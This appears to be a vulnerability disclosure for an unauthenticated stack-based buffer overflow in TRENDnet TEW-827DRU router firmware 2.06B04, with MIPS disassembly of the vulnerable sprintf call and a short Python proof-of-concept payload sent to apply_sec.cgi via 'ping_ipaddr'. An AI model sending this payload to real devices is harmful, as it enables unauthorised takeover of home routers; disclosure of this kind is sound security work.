TEW-827DRU

Firmware version

```
TEW-827DRU firmware: 2.06B04
```

Description

```
TRENDnet TEW-827DRU with firmware up to and including 2.06B04 contains a stack-based buffer overflow in the ssi binary. The overflow allows an unauthenticated user to execute arbitrary code by POSTing to apply_sec.cgi via the action ping_test with a sufficiently long key 'ping_ipaddr'.
```

Detial

```
The bug in function: 0x43874C, binary: www/cgi/ssi
The parameter 'ping_ipaddr' pass to sprintf
```

```
00438778                addiu   $a0, $v0, (aPingIpaddr - 0x4C0000)  # "ping_ipaddr"
0043877C                la      $v0, getenv
00438780                nop
00438784                move    $t9, $v0
00438788                jalr    $t9 ; getenv
:004389C4               nop
:004389C8               addiu   $v0, (aPingSUnableToR - 0x4C0000)  # "ping: %s Unable to resolve, check that "...
:004389CC               addiu   $v1, $fp, 0x220+var_1E8
:004389D0               move    $a0, $v1        # s
:004389D4               move    $a1, $v0        # format
:004389D8               lw      $a2, 0x220+cp($fp)
:004389DC               la      $v0, sprintf
:004389E0               nop
:004389E4               move    $t9, $v0
:004389E8               jalr    $t9 ; sprintf
```

Send Packege

```
    payload = 'A'*0x1f0 + ' B,C'
    scommand = bytes(payload, 'utf8')
    data6 = {
        b'action': b'ping_test',
        b'ping_ipaddr': scommand,
    }
```